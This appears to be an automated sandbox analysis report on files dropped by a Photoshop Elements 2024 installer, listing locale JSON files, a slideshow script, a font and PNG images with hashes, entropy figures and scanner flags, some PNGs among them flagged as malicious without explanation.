Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	551
Entropy (8bit):	5.719924059723855
Encrypted:	false
SSDEEP:	12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
MD5:	079C7C099407A71437825C7DF92A92B1
SHA1:	D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
SHA-256:	7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
SHA-512:	D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\nl_nl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	4.827268491011639
Encrypted:	false
SSDEEP:	24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
MD5:	12B2FAAEC8A5524181967996AE808234
SHA1:	45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
SHA-256:	06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
SHA-512:	C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
Malicious:	false
Preview:	{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\pl_pl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	5.197252482745693
Encrypted:	false
SSDEEP:	24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
MD5:	A2BC40676845B4DDAFEAAB0523FF3671
SHA1:	AD321F26CEC3D9F2E6812AB525AB62403A145D6E
SHA-256:	55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
SHA-512:	CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
Malicious:	false
Preview:	{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\ru_ru\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.708899028432502
Encrypted:	false
SSDEEP:	24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
MD5:	C08F7659EFCC7319CEA404C411852D7C
SHA1:	960E5E87D616CE32C02101DD95E31A1B9AA5CA01
SHA-256:	0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
SHA-512:	92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
Malicious:	false
Preview:	{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\sv_se\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	5.007707161623855
Encrypted:	false
SSDEEP:	24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
MD5:	9A386BDD3D45947475EA973AA97A29FB
SHA1:	F5DA3004442F42B7A59512E35414E6F4758F0634
SHA-256:	7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
SHA-512:	796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
Malicious:	false
Preview:	{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\zh_cn\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	533
Entropy (8bit):	5.952077038813362
Encrypted:	false
SSDEEP:	12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
MD5:	9558152FC5BA73DAE53330E8F74103C3
SHA1:	4583E8593C9BFFE79DB23F204D40F459EE4C579A
SHA-256:	E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
SHA-512:	A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\zh_tw\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	535
Entropy (8bit):	5.95952674339767
Encrypted:	false
SSDEEP:	12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
MD5:	480263433597D1DA400B0CAB80456B3C
SHA1:	B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
SHA-256:	DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
SHA-512:	B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\zz_zz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	4.923628829725424
Encrypted:	false
SSDEEP:	12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
MD5:	8BE468F56ED75DF9FD6E9296736C7437
SHA1:	6A5387D379E90A41DF202F2186DD520F707C91B4
SHA-256:	AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
SHA-512:	85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\carousel.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2787
Entropy (8bit):	5.184018118549148
Encrypted:	false
SSDEEP:	48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
MD5:	44D3F90C842E5387DD782BC6097FABBD
SHA1:	CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
SHA-256:	DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
SHA-512:	3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
Malicious:	false
Preview:	$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 31112, version 1.0
Category:	dropped
Size (bytes):	31112
Entropy (8bit):	7.984152889259412
Encrypted:	false
SSDEEP:	768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
MD5:	6AF297E58EDC414EE90C76C2D3EA8678
SHA1:	7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
SHA-256:	3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
SHA-512:	61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
Malicious:	false
Preview:	wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.\|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\css\styles.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.841995719284234
Encrypted:	false
SSDEEP:	3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
MD5:	3A0EC2D2C5020A3CF45C13A87434B285
SHA1:	12275D4D51DE801CE28C88A0C246DE22C6D08120
SHA-256:	406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
SHA-512:	A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
Malicious:	false
Preview:	@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218501
Entropy (8bit):	7.994177806609243
Encrypted:	true
SSDEEP:	6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
MD5:	70155993A908DD3F179030722111DAFD
SHA1:	7F77A6DA3295559977185127DF0131DFEAAB6401
SHA-256:	CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
SHA-512:	F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	196538
Entropy (8bit):	7.994396839674714
Encrypted:	true
SSDEEP:	3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
MD5:	ECBDD07F272A819936179371478A8C3F
SHA1:	FF77202067ACB0463E7878C44004CF55549325C1
SHA-256:	D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
SHA-512:	1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	149774
Entropy (8bit):	7.991574130023794
Encrypted:	true
SSDEEP:	3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
MD5:	6FC7D9D817DECC0ECA1F54C1540DA1A0
SHA1:	01959A4664CF3EA64A9CC85E6F8F60B25698107B
SHA-256:	9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
SHA-512:	1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190441
Entropy (8bit):	7.9969327976436695
Encrypted:	true
SSDEEP:	3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
MD5:	448941A2F024056569EF9817EEFEB9A7
SHA1:	544EC13242A4B9BD3E0A4D65079C55DF006D6D24
SHA-256:	21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
SHA-512:	1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	222420
Entropy (8bit):	7.994042748653122
Encrypted:	true
SSDEEP:	6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
MD5:	D428286039502448A467942D6F20772E
SHA1:	412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
SHA-256:	61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
SHA-512:	0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

Download File

